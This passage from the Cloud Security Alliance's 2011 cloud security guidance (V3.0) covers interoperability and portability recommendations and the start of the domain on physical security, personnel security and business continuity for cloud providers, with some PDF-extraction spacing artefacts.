Security Lifecycle. http ://www .securosis .com /blog /data -security -lifecycle -2.0 [3] SECUROSIS. 2011. Understanding and Selecting a Data Loss Prevention Solution. http ://www .securosis .com/ research /publication /report -data -loss-prevention -whitepaper [4] SECUROSIS. 2008. Understanding and Selecting a Database Activity Monitoring solution. http ://www .securosis .com/ research /publication /report -selecting -a-database -activity -monitoring -solution / [5] CHAUM, D. L. Feb. 1981. Untraceable Electronic Mail, Return Addresses, and Digital Pseudonyms. Communications of the ACM , 24 (2), 84 -90. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 64 DOMAIN 6 // INTEROPERABILITY AND PORTABILITY The advent of cloud computing offers unprecedented scalability to an organization’s IT processing and administrative capability unlike those available in “traditional” in -house infrastructures. Almost instantaneously, additional capacity can be added, moved, or removed in response to dynamically changing processing needs. A new application support system can be initiated to meet increased demand in a matter of hours rather than weeks. Should demand fall back, the additional capacity can be shut down just as quickly with no surplus hardware now sitting idled. Gaining the benefits of this more elastic environment requires both interoperability and portability to be the design goals of any cloud - implemented system, from IaaS through to SaaS. At one end of the scale, Intero perability and Portability allows you to scale a service across multiple disparate providers on a global scale and have that system operate and appear as one system. At the other end, Interoperability and Portability allows the easy movement of data and applications from one platform to another, or from one service provider to another. Portability and interoperability are not considerations unique to cloud environments and their related security aspects are not new concepts brought about by cloud computin g. However, the open and often shared processing environments that exist within the cloud bring a need for even greater precautions than are required for traditional processing models. Multi -tenancy means data and applications reside with data and applic ations of other companies and that access to confidential data (intended or unintended) is possible through shared platforms, shared storage, and shared networks. This section defines the critical consideration which should be addressed when designing for portability and interoperability. Overview. The following sections define Interoperability and Portability in terms of:  An introduction to Interoperability  Recommendations to ensure Interoperability  An introduction to Portability  Recommendations for Portability 6.1 An Introduction to Interoperability Interoperability is the requirement for the components of a cloud eco -system to work together to achieve their intended result. In a cloud computing eco -system the components may well come from differe nt sources, both cloud and traditional, public and private cloud implementations (known as hybrid -cloud). Interoperability mandates that those SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 65 components should be replaceable by new or different components from different providers and continue to work, as should the exchange of data between systems. Businesses, over time, will make decisions that lead to the desire to change providers. Reasons for this desired change include:  An unacceptable increase in cost at contract renewal time  The ability to get t he same service at a cheaper price  A provider ceases business operations  A provider suddenly closes one or more services being used without acceptable migration plans  Unacceptable decrease in service quality, such as a failure to meet key performance req uirements or achieve service level agreements ( SLA’s )30  A business dispute between cloud customer and provider A lack of interoperability (and also portability) can lead to being locked to a particular cloud service provider. The degree to which interoper ability can be achieved or maintained when considering a cloud project often will depend on the degree to which a cloud provider uses open, or published, architectures and standard protocols and standard API’s31. Though many vendors of “open” and “standard s based” cloud provision provide propriety hooks and extensions (e.g. Eucalyptus) and enhancements that can impede both interoperability and portability. 6.2 An I ntroduction to Portability Portability defines the ease of ability to which application components are moved and reused elsewhere regardless of provider, platform, OS, infrastructure, location, storage, the format of data, or API’s. Portability and interoperability must be considered whether the cloud migration is to public, private, or hybrid cloud deployment solutions. They are important elements to consider for service model selection regardless of whether a migration strategy is to Software as a Service (SaaS), Platform as a Service (PaaS), or Infrastructure as a Service (IaaS). Portability is a key aspect to consider when selecting cloud providers since it can both help prevent vendor lock -in and deliver business benefits by allowing identical cloud deployments to occur in different cloud provider solutions, either for the purposes of di saster recovery or for the global deployment of a distributed single solution. Achieving portability for a cloud service is generally reliant on the two services operating in the same architectural octant of the Cloud Cube, as defined in Domain One. Where services operate in different octants, then porting a service usually means migrating the service back “in -house” before re -outsourcing it to an alternative cloud service. 30 SLA - Service Level Agreement 31 API - Application Program Interface SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 66 Failure to appropriately address portability and interoperability in a cloud migrat ion may result in failure to achieve the desired benefits of moving to the cloud and can result in costly problems or project delays due to factors that should be avoided such as:  Application, vendor, or provider lock -in – choice of a particular cloud solu tion may restrict the ability to move to another cloud offering or to another vendor  Processing incompatibility and conflicts causing disruption of service – provider, platform, or application differences may expose incompatibilities that cause application s to malfunction within a different cloud infrastructure  Unexpected application re -engineering or business process change – moving to a new cloud provider can introduce a need to rework how a process functions or require coding changes to retain original b ehaviors  Costly data migration or data conversion — lack of interoperable and portable formats may lead to unplanned data changes when moving to a new provider  Retraining or retooling new application or management software  Loss of data or application security – different security policy or control, key management or data protection between providers may open undiscovered security gaps when moving to a new provider or platform Moving services to the cloud is a form of outsourcing; the golden rule of outsourc ing is “understand up -front and plan for how to exit the contract”. Portability (and to an extent interoperability) should therefore be a key criterion of any organizations strategy to move into cloud services, allowing for a viable exit strategy to be de veloped. 6.3 Recommendations 6.3.1 Interoperability Recommendations Hardwar e – Physical Computer Hardware The hardware will inevitably vary or change over time and from provider to provider leaving unavoidable interoperability gaps if direct hardware access is required. o Whenever possible, use virtualization to remove many hardware level concerns, remembering that virtualization doesn’t necessarily remove all hardware concerns, especially on current systems. o If hardware must be directly addressed, it is important to ensure that the same or better physical and administrative security controls exist when moving from one provider to another. Physical Network Devices The network devices including security devices will be different from service providers to service providers along with its API and configuration process. o To maintain interoperability the Network phys ical hardware and network & security abstraction should be in virtual domain. As far as possible API’s should have the same functionally. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 67 Virtualization While virtualization can help to remove concerns about physical hardware, distinct differences exist between common hypervisors (such as ZEN, VMware and others). o Using open virtualization formats such as OVF to help ensure interoperability. o Document and understand which specific virtualization hooks are used no matter the format. It still may not work on another hypervisor. Frameworks Different platform providers offer different cloud application frameworks and differences do exist between them that affect interoperability. o Investigate the API’s to determine where differences lie and plan for any changes necessary that may be required to application processing when moving to a new provider. o Use open and published API’s to ensure the broadest support for interoperability between components and to facilitate migrating applications and data should changing a service provider become necessary. o Applications in the cloud often interoperate over the Internet and outages can be anticipated to occur. Determine how failure in one component (or a slow response) will impact others and avoid stateful dependencies tha t may risk system data integrity when a remote component fails. Storage Storage requirements will vary for different types of data. Structured data will most often require a database system, or require application specific formats. Unstructured data will typically follow any of a number of common application formats used by Word Processors, Spreadsheets and Presentation Managers. Here the concern should be to move data stored with one service to another seamlessly. o Store unstructured data in an establish ed portable format. o Assess the need for encryption for the data in transit. o Check for compatible database systems and assess conversion requirements if needed. Security Data and applications in the cloud reside on systems the user doesn’t own and likely ha s only limited control over. A number of important items to consider for interoperable security include: o Use SAML or WS -Security for authentication so the controls can be interoperable with other standards -based systems. See domain 12 for more detail. o Encrypting data before it is placed into the cloud will ensure that it cannot be accessed inappropriately within cloud environments. See domain 11 for more detail on encryption. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 68 o When encryption keys are in use, investigate how and where keys are stored to ensure access to existing encrypted data is retained. See domain 11 for more detail on key management. o Understand your responsibilities and liabilities should a compromise occur due to unanticipated “gaps” in protection methods offered by your service pro vider. o Log file information should be handled with the same level of security as all other data moving to the cloud. Ensure that log files are interoperable to ensure continuity of log analysis pre -and post move as well as compatibility with whatever log management system is in use. o When completing a move ensure that all data, logs, and other information is deleted from the original system. 6.3.2 Portability Recommendations There are a number of issues standing in the path of moving to the cloud. Portab ility considerations and recommendations that impact moving to the cloud include; o Service Level . SLA’s will differ across providers, and there is a need to understand how this may affect your ability to change providers. o Different architectures . Systems in the cloud may reside on disparate platform architectures. It is important to be aware of how these will limit portability by understanding service and platform dependencies, which may include API’s, hypervisors, application logic, and other restriction s. o Security integration . Cloud systems introduce unique portability concerns for maintaining security, including: o Authentication and identity mechanisms for user or process access to systems now must operate across all components of a cloud system. Using open standards for Identity such as SAML will help to ensure portability. Developing internal IAM system to support SAML assertions and internal system to accept SAML will aid future portability of system to the cloud. o Encryption keys should be escrowed lo cally, and when possible maintained locally o Metadata is an aspect of digital information that is often and easily overlooked as (typically) metadata is not directly visible when working with files and documents. Metadata becomes an important consideration in the cloud, because metadata moves with the document. When moving files and their metadata to new cloud environments ensure copies of file metadata are securely removed to prevent this information from remaining behind and opening a possible opportunity for compromise. 6.3.3 Recommendations for Different Cloud Models There are a number of generic risks and recommendations that are common to all cloud models. o When substituting cloud providers it is normal to expect resistance from the legacy cloud provi der. This must be planned for in the contractual process as outlined in Domain 3, in your Business Continuity Program as outlined in Domain 7, and as a part of your overall governance in Domain 2. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 69 o Understand the size of data sets hosted at a cloud provide r. The sheer size of data may cause an interruption of service during a transition, or a longer transition period than anticipated. Many customers have found that using a courier to ship hard drives is faster than electronic transmission for large data s ets. o Document the security architecture and configuration of individual component security controls so they can be used to support internal audits, as well as to facilitate migration to new providers and aid the validation of the new environment. Infrastru cture as a Service (IaaS) Where the responsibility of the cloud provider is to provide basic computing utilities such as storage, computing power, etc., the cloud customer is responsible for a majority of application design tasks related to interoperab ility. The cloud provider should provide standardized hardware and computing resources that can interact with various disparate systems with minimal efforts. The cloud provider should strictly adhere to industry standards to maintain interoperability. Th e provider should be able to support complex scenarios such as cloud brokerage, cloud bursting, hybrid clouds, multi - cloud federation, etc. o Understand how virtual machine images can be captured and ported to new cloud providers and who may use different virtualization technologies. Example: Distributed Management Task Force (DMTF) Open Virtualization format (OVF). o Identify and eliminate (or at least document) any provider- specific extensions to the virtual machine environment. o Understand what practices are in place to make sure appropriate de -provisioning of VM images occurs after an application is ported from the cloud provider. o Understand the practices used for decommissioning of disks and storage devices. o Understand hardware/platform based dependenci es that need to be identified before migration of the application/data. o Ask for access to system logs, traces, and access and billing records from the legacy cloud provider. o Identify options to resume or extend service with the legacy cloud provider in par t or in whole if new service proves to be inferior. o Determine if there are any management -level functions, interfaces, or API’s being used that are incompatible with or unimplemented by the new provider. o Understand costs involved for moving data to and fro m a cloud provider o Determine what means are supported for moving data as efficiently to the cloud as possible through using standard capabilities such as data compression. o Understand what security is provided and who maintains access to encryption keys. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 70 Platform as a Service (PaaS) The cloud provider is responsible to provide a platform on which the consumers can build their systems. They provide with a runtime environment and an integrated application stack. It allows developers to quickly develop and deploy custom applications on the offered platforms without the need to build the infrastructure. The cloud provider provides the entire infrastructure and its maintenance to its consumers. o When possible, use platform components with a standard syntax, op en API’s, and open standards, e.g. Open Cloud Computing Interface ( OCCI )32 o Understand what tools are available for secure data transfer, backup, and restore. o Understand and document application components and modules specific to the PaaS provider and develop application architecture with layers of abstraction to minimize direct access to proprietary modules. o Understand how base services like monitoring, logging, and auditing would transfer over to a new vendor. o Understand what protections are provided for data placed into the cloud and data generated and maintained in the cloud. o Understand control functions provided by the legacy cloud provider and how they would translate to the new provider. o When migrating to a new platform, understand the impacts on performance and availability of the application and how these impacts will be measured. o Understand how testing will be completed prior to and after migration to verify that the services or applications are operating correctly. Ensure that both provider and user responsibilities for testing are well known and documented. Software as a Service (SaaS) The cloud provider provides application capabilities over the cloud, and the client just manages his/her operations and the information flowing in and out of t he system. The client needs a browser, and majority of the administrative at all the levels rests with the provider. o Perform regular data extractions and backups to a format that is usable without the SaaS provider. o Understand whether metadata can be pre served and migrated. o If needed use data escrow services. o Understand that any custom tools will have to be redeveloped, or the new vendor must provide those tools, or commit to port (and support) these tools. o Review and audit to ensure the consistency of c ontrol effectiveness across old and new providers. 32 OCCI - Open Cloud Computing Interface SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 71 o Ensure backups and other copies of logs, access records, and any other pertinent information which may be required for legal and compliance reasons can be migrated. o Understand the management, monitoring, a nd reporting interfaces and their integration between environments. o Test and evaluate all applications before migration, and dual run if feasible prior to cut -over. Private Cloud Private cloud is when the consumer runs a cloud environment / service within their enterprise or uses private cloud offering from the cloud providers (typically extending the internal network into a service providers hosting centre). o Ensure interoperability exists between common hypervisors such as KVM, VMware, Xen. o Ensure standard API’s are used for management functions such as users and their privilege management, VM image management, Virtual Machine management, Virtual Network management, Service management, Storage management, Infrastructure management, Information Manag ement, etc. Public Cloud Interoperability in public cloud means exposing most common cloud interfaces. They may be vendor specific or open specifications and interfaces such as OCCI, libcloud, etc. o Ensure that the cloud providers expose common and/or open interfaces to access all cloud functions in their service offering. Hybrid Cloud In this scenario the consumer’s local private infrastructure should have the capability to work with external cloud providers. A common scenario is “cloud bursting”, where an enterprise shares the load with external cloud providers to meet peak demands. o Ensure that the cloud providers expose common and/or open interfaces to access all cloud functions in their service offering. o Ensure the ability to federate with different clo ud providers to enable higher levels of scalability. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 72 REFERENCES [1] http://msdn.microsoft.com/en -us/library/cc836393.aspx [2] http://blogs.msdn.com/b/eugeniop/archive/2010/01/12/adfs -wif-on-amazon -ec2.aspx [3] http://download.microsoft.com/download/6/C/2/6C2DBA25 -C4D3 -474B -8977 -E7D296FBFE71/EC2 - Windows%20SSO%20v1%200--Chappell.pdf [4] http://www.zimbio.com/SC+Magazine/articles/6P3njtcIjmR/Federation+2+0+identity+ecosystem [5] http://www.datacenterknowledge.com/archives/2009/0 7/27/cloud -brokers -the-next- big-opportunity/ [6] http://blogs.oracle.com/identity/entry/cloud_computing_identity_and_access [7] http://www.opengroup.org/jericho/cloud_cube_model_v1.0.pdf [8] http://www.burtongroup.com [9] http://www.pkware.com/a ppnote [10] http://www.apps.ietf.org/rfc/rfc4880.html SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 73 SECTION III // OPERATING IN THE CLOUD SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 74 DOMAIN 7 // TRADITIONAL SECURITY, BUSINESS CONTINUITY, & DISASTER RECOVERY With the emergence of cloud computing as a preferred technology for outsourcing IT operations, the security issues inherent in the hosting model have assumed greater significance and criticality. Inherent in the concept of cloud computing are the risks associated with entru sting confidential and sensitive data to third parties or pure -play cloud service providers ( CSP)33. The evolution of cloud services has enabled business entities to do more with less: fewer resources and better operating efficiency. This has many tangible benefits for business, yet there are inherent security risks that must be evaluated, addressed, and resolved before businesses will have confid ence in securely outsourcing their IT requirements to cloud service providers. One purpose of this domain is to assist cloud service users to share a common understanding of traditional security (physical security) with cloud service. Traditional security can be defined as the measures taken to ensure the safety and material existence of data and personnel against theft, espionage, sabotage, or harm. In the context of cloud information security, this is about information, products, and people. Proper information security deploys many different layers to achieve its goal. This is referred to as "layered security” or “defense in depth.” When implementing security measures, managers should acknowledge that no measure is one hundred percent secure. Infor mation security uses the depth of its layers to achieve a combined level of security. A weakness in any one of these layers can cause security to break. Physical protection is the initial step in a layered approach to cloud information security. If it is nonexistent, implemented incorrectly, weak, exercised inconsistently, treated as a project (fire -n-forget), or properly reviewed and maintained, the best logical security measures will not make up for the physical security weakness, and security overall can fail. An effective traditional security program flows from a well- developed series of risk assessments, vulnerability analysis, BCP/DR policies, processes, and procedures that are reviewed and tested on a regular basis. Well- developed physical security programs will result in physical security that is scalable with the business, repeatable across the organization, measurable, sustainable, defensible, continually improving, and cost -effective on an ongoing basis. Overview: Some of the security ri sks associated with cloud computing are unique , and it is in this context the business continuity, disaster recovery , and traditional security environments of a cloud service provider need to be assessed thoroughly (e.g., using standard industry guidelines such as TOGAF34, SABSA35, ITIL36, COSO37, or COBIT38). This domain addresses: 33 CSP - Cloud Service Provider 34 TOGAF - The Open Group Architecture Framework 35 SABSA - Sherwood Applied Business Security Architecture This section maps to Cloud Control Matrix Domains IS -01 and IS -02 as well as ISO/IEC 27002 Clause 9 . SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 75  Establishing a Physical Security Function  Human Resources Phys ical Security  Business Continuity  Disaster Recovery 7.1 Establishing a Traditional Security Function Outdated security for IT equipment, network technology, and telecommunications is often overlooked in many organizations. This has resulted in many organizations installing computer equipment, networks, and gateways in buildings that did not have proper ph ysical facilities designed to secure the assets or maintain availability. To establish proper physical security for IT equipment, network technology, and telecommunications assets in a cloud environment, it is important that responsibilities be assigned t o personnel who are appropriately placed in a cloud provider’s organization. An individual in a management position within a cloud provider is responsible for managing planning, implementation, and maintenance of relevant plans and procedures. Personnel responsible for physical security need to be trained and have their performance evaluated. In establishing a physical security function within a cloud environment, the following must be considered:  The security needs for the equipment and services being pr otected  The human resources that are in place for physical security  How legacy physical security efforts have been managed and staffed prior to transition to cloud  Financial resources available for these efforts Physical security can be as simple as adding a locked door or as elaborate as implementing multiple layers of barriers and armed security guards. Proper physical security uses the concept of layered defense in appropriate combinations for managing risk by deterring and delaying physical security th reats. Physical threats to infrastructure, personnel, and systems are not limited to intrusions. To mitigate these risks, combinations of both active and passive defense are deployed, to include having measures such as:  Obstacles to deter and delay event s, incidents, and attacks  Detection systems to monitor security and environmental conditions  Security response designed to repel, apprehend, or discourage attackers Physical security normally takes one of several forms in design and implementation:  Environmental design 36 ITIL - Information Technology Infrastructure Library 37 COSO - Committee of Sponsoring Organizations 38 COBIT - Control Objectives for Information and Related Technology This section maps to Cloud Control Matrix Domains FS -01, FS -02, FS -03, and FS -04 as well as ISO/IEC 27002 Clause 9. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 76  Mechanical, electronic, and procedural controls  Detection, response, and recovery procedures  Personnel identification, authentication, authorization, and access control  Policies and procedures, including training of staff 7.1.1 Evaluation of Traditional Physical Security When evaluating the traditional security of a CSP, consumers consider the aspects of the infrastructure as a service/physical presence of the foundational data center provider. These include the physical location of the facility and the documentation of critical risk and recovery factors. 7.1.1.1 Physical Location of the CSP Facility Consumers should conduct a critical evaluation of the data center’s physical location. If they are dependent on a cloud supply chai n, it is important to understand the cloud infrastructure on which they depend. The following are suggestions in evaluating the physical location of the facility:  Check if the location of the facility falls under any active seismic zone and the risks of seismic activity  The facility should not be located in a geographic region which is prone to: flooding, landslides, or other natural disasters  The facility should not be in an area with high crime, political or social unrest  Check the accessibility of t he facility’s location (and frequency of inaccessibility) 7.1.1.2 Documentation Review The documentation supporting recovery operations is critical in evaluating the readiness of the hosting company to recover from a catastrophic event. The following s ets of documentation should be inspected prior to engagement of a physical data center provider:  Risk Analysis  Risk Assessments  Vulnerability Assessments  Business Continuity Plans  Disaster Recovery Plans  Physical and Environmental Security Policy  User Account Termination Procedures  Contingency Plan, including test protocols SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 77  Incident Reporting and Response Plan, including test protocols  Emergency Response Plan  Facility Layout – emergency exits, positioning of CCTV cameras, secure entry points  Fire Exit R oute Map and Fire Order Instructions  Emergency Evacuation Plan and Procedures  Crisis Communication Procedures  Emergency Contact Numbers  User Facility Access Review/Audit Records  Security Awareness Training documentation, presentation, handouts, etc.  Secur ity Awareness Attendance Records  Succession Planning for key executives  Technical Documents – electrical wiring diagrams, BMS, UPS, AHU details  Maintenance Schedule of Electrical, Generator, and CCTV  Emergency fuel service providers contracts  List of Autho rized Personnel allowed entry inside facility  Security Staff profiles – bio and background information  Background Check Reports of Security Staff (must be performed every year)  Annual Maintenance Contracts for key equipment and devices (focus on SLA’ s39 for equipment/devices downtime and restoration) When inspecting the documents, there are areas of critical focus that the purchaser of cloud services should focus on to ensure that his/her risk is mitigated. The following advice may prove critical in securin g a cloud consumer’s business interest when transitioning to cloud:  Check whether all the documents are up to date and current. These documents must be reviewed by the CSP at least once a year. The revision dates and sign off by management must be inclu ded and validated as proof of them being reviewed internally.  Further, the policy and procedure documents (that are suitable for employee viewing) should be made available through a common Intranet site where authorized employees of the CSP can access them anytime for reference. Adequate care must be taken by the security team to ensure the uploaded documents are the latest versions duly approved by management. 39 SLA - Service Level Agreement SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 78  All policies and procedures will be effective only when employees are aware of them. To this end, check whether a CSP has security awareness program in place. At the minimum, the CSP should ensure that employees are given adequate security awareness trai ning at least once each year and receive sign off from them. Also, new employees joining the organization shall undergo a security orientation session as part of the induction program where key policies and procedures are to be covered with formally signe d attendance records maintained and available for review at any time. To make the program effective, senior staff from the security team must conduct the session. 7.1.1.3 Compliance with International/Industry Standards on Security Ensure that the CSP is compliant with global security standards like ISO 27001 ISMS or other industry -standards such as TOGAF, SABSA, ITIL, COSO, or COBIT. These activities will prove invaluable in assessing the CSP’s level of security and its maturity.  Verify the compliance certificate and its validity.  Look for verifiable evidence of resource allocation, such as budget and manpower to sustain the compliance program.  Verify internal audit reports and evidence of remedial actions for the findings. 7.1.1.4 Visual Walk -Throu gh Inspection of the CSP’s facility Area Coverage Data Center Perimeter Security should be evaluated when determining what areas require physical coverage. The following are high -risk areas that should be secured:  Administrative areas  Reception  Parking Area  Storage Area  Fire Exits  CCTV Command Center  Air Handling Unit (AHU) Room  Locker Room  UPS Room  Generator Room  Fuel Storage Tanks SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 79 Signage Look for the following signage that must be displayed prominently in the facility at appropriate places:  Fire Escape Route Maps and Emergency Exits  Fire Order Instructions  Fire Safety Signages  Security Posters and instructions  Anti-tailgating Posters  Temperature/Humidity -related information  Warning and Instructional Signage  Emergency Contact Numbers  Escalation Chart 7.1.2 Security Infrastructure Perimeter security is important as it serves as the first line of protection against intruders and unwanted visitors. The principles of perimeter security has undergone sea change with technological advancements. The Four D’s of Perimeter Security consists of Deter, Detect, Delay and Deny phases for intruders wanting access to the facility. The following qualities are preferential when selecting a physical infrastructure provider. Depending on the design and function of the clou d service provider, the following list should be closely adhered to in the selection process. Due care should be taken to ensure the physical infrastructure is adequate for the facility’s size and nature and scale of operations. Security controls must be strategically positioned and conform to acceptable quality standards consistent with prevalent norms and best practices.  Secure Entry Points – Access control systems (proximity cards/biometric access)  Access Control System linked with fire control panel fo r emergency release  Motion -sensing alarms, thermal tracking devices, glass -breakage detection  Fire safety equipment – wet riser, hydrants, hoses, smoke detectors and water sprinklers  Fire extinguishers  Fire exits (must not be locked or blocked)  Panic Bars in fire exit doors  Alarm sirens and lights  CCTV Cameras and DVR server (including backup timelines) SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 80  Door closures and time -delay door alarms  Gas-based fire suppressants inside Data Centers  Paper Shredders near printers  Degaussing devices or disk shredders  Emergency Response Team Kit (ERT Kit)  Two -way Radio devices (Walkie -talkie handsets) for security staff  Duress Alarms underneath security desk and vantage (concealed) points  Door Frame Metal Detectors at entrance and Hand -held Metal Detectors (if needed)  Fire-proof Safe to safe keep important documents/media 7.2 Human Resources Physical Security The purpose of the human resources physical control is to minimize the risk of the personnel closest to the data disrupting operations and compromising the cloud. A knowledgeable actor with physical access to a console can bypass most logical protective m easures by simply rebooting the system or accessing a system that is already turned on with root or administrator access. A wiring closet can provide hidden access to a network or a means to sabotage existing networks. Consider the following measures:  Roles and responsibilities (e.g., through a RACI -style matrix)  Background verification and screening agreements  Employment agreement (e.g., NDA’s)  Employment termination  Awareness and training of company policies (i.e., Code or Business Conduct) Roles and r esponsibilities are part of a cloud environment, in which people and processes, along with technology, are integrated to sustain tenant security on a consistent basis. Segregation of duties, requires at least two persons with separate job responsibilities to complete a transaction or process end -to-end. Avoidance of conflict of interest is essential to the protection of cloud consumers and measures should be implemented to monitor or avoid this risk. Segregation of duties originated in accounting and fin ancial management; its benefits extend to other risk mitigation needs, such as physical security, availability, and system protection. Segregation of duties is implemented via eliminating high -risk role combinations, e.g., not having the same person who a pproves a purchase order also able to facilitate payment. The principle is applied to role division in cloud development and operations, as well as a software development life cycle. An example common to cloud software development would be the separation of those who develop applications from the staff who operate those systems. Ensure there are no unauthorized backdoors remaining This section maps to Cloud Control Matrix Domains IS -15, FS -05, FS -06, FS-07 and FS -08 as well as ISO/IEC 27002 Clause 9 . SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 81 in the final delivered product. Ensure different personnel manage different critical infrastructure components. Additionally, granting staff the least amount of access privilege required for them to perform their duties will further reduce but not eliminate risk. The segregation of duties and least privilege/access are principles that support a cloud provider’s goal to protec t and leverage the organization's information assets. A cloud security management program requires the assignment of key roles and responsibilities that may be held by individuals or groups. These roles and responsibilities must be formally defined in t he organization’s information security policy framework and formally reviewed and approved by senior management in line with their fiduciary GRC (Governance Risk and Compliance) duties and responsibilities. Additionally, the development of effective HR security must include employment and confidentiality agreements, background checks (when legally permitted), and legally sound hiring and termination practices. Additional measures to consider, if they are applied across all areas of the organization, inclu de formalized job descriptions, appropriate training, security clearances, job rotation, and mandatory vacations for staff in sensitive or high risk roles. 7.3 Assessing CSP Security Some of the security risks associated with cloud computing are unique, partly due to an extended data centric chain of custody, and it is in this context the business continuity, disaster recovery, and traditional security environments of a cloud service provider need to be assessed thoroughly and in reference to industry sta ndards. Traditional or Physical Security of the cloud computing service provider’s facility is important and needs to be thoroughly assessed from various parameters. This is an area of highest similarity – the security requirements of a cloud and non - clou d data center are fairly similar. A holistic view and understanding of the “people, process, technology” model or philosophy of the CSP would immensely help in evaluating the maturity of the CSP and flag open issues with their approach towards security which must be resolved, approved, and closed before proceeding. Organizational maturity and experience contributes a great deal to the effective handling of physical security programs and any contingencies that may arise. Invariably, there is a strong human element involved in the effective administration of physical security programs. The level of management support and the caliber of the security leadership are significant factors in protecting company assets with management support being critical. Physical security is generally the first line of defense against unauthorized as well as authorized access to an organization’s physical assets and the physical theft of records, trade secrets, industrial espionage, and fraud. 7.3.1 Procedures Cloud service providers should ensure that the following documents are made available for inspection on demand by clients:  Background Checks (once yearly) by third party vendors  Non -Disclosure Agreements  Implement “ need to know ” and “need to have” policie s for information sharing SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 82  Separation of duties  User Access Administration  Defined Job Description (Role and Responsibilities)  Role -based Access Control System  User Access Reviews 7.3.2 Security Guard Personnel Where human monitoring and intervention ar e necessary, physical security staff comprised of guards, supervisors and officers should be posted (on 24/7 basis) at the CSP’s facility. Among other things, the Site and Post instructions should include the following:  Checking employee, contract staff, and visitor credentials and use of the sign -in log  Issuing and recovering visitor badges  Curbing tail- gating by employees  Handling visitors and movement within the facility  Handling security -relevant phone calls  Monitoring intrusion, fire alarm systems and dispatch personnel to respond to alarms  Controlling movement of materials into and out of the building and enforcing property pass regulations  Enforcing rules and regulations established for the building  Patrolling inside facility  CCTV monitoring  Key control and management  Executing emergency response procedures  Escalating security -related issues to security manager  Accepting and dispatching mail  Escorting unattended business visitors inside the office SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 83 7.3.4 Environmental Security The CSP’s facilities should protect both personnel and assets by implementing controls that will protect the environment from environmental hazards. These controls may include but are not limited to: temperature and humidity controls, smoke detectors and fire suppression syste ms. 7.3.4.1 Environmental Controls  The data center should be equipped with specific environmental support equipment according to published internal standards, local and/or regional rules or laws including an emergency/uninterruptible power supply.  Equipm ent/devices required for environmental controls must be protected to reduce risks from environmental threats and hazards and to reduce the risk of unauthorized access to information. 7.3.4.2 Equipment Location and Protection The following controls must be considered for systems classified as containing Restricted or Confidential information:  Equipment is located in a physically secure location to minimize unnecessary access.  Environmental conditions such as humidity that could adversely affect the oper ation of computer systems are monitored.  Security staff shall take into account the potential impact of a disaster happening in nearby premises, e.g., a fire in a neighboring building, water leaking from the roof or in floors below ground level, or an explosion in the street.  Methods for thoroughly destroying and disposing of discarded media (e.g., disk drives) 7.3.4.3 Equipment Maintenance To ensure continued availability and integrity, equipment is properly maintained with equipment maintenance control s, including:  Maintaining equipment in accordance with the supplier’s recommended service intervals and specifications  Permitting only authorized maintenance personnel to carry out repairs and service equipment  Maintaining records of suspected or actual faults and all preventive and corrective maintenance.  Using appropriate controls when sending equipment off premises for maintenance. Examples of appropriate controls include proper packaging and sealing of containers, storage in safe and secure places, and clear and complete shipping and tracking instructions.  Maintaining appropriate policies and procedures for asset control, including records retention for all hardware, firmware, and software encompassing traceability, accountability, and ownership A thorough review of the CSP’s facility would enable the prospective client to understand and evaluate the maturity and experience of the security program. Generally, with the focus on IT security, physical security gets limited attention. However, with the range of threat scenarios prevalent today it is imperative that the physical security receives the SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 84 attention it deserves, especially, in an environment where the clients’ data may be co -resident with a number of other clients 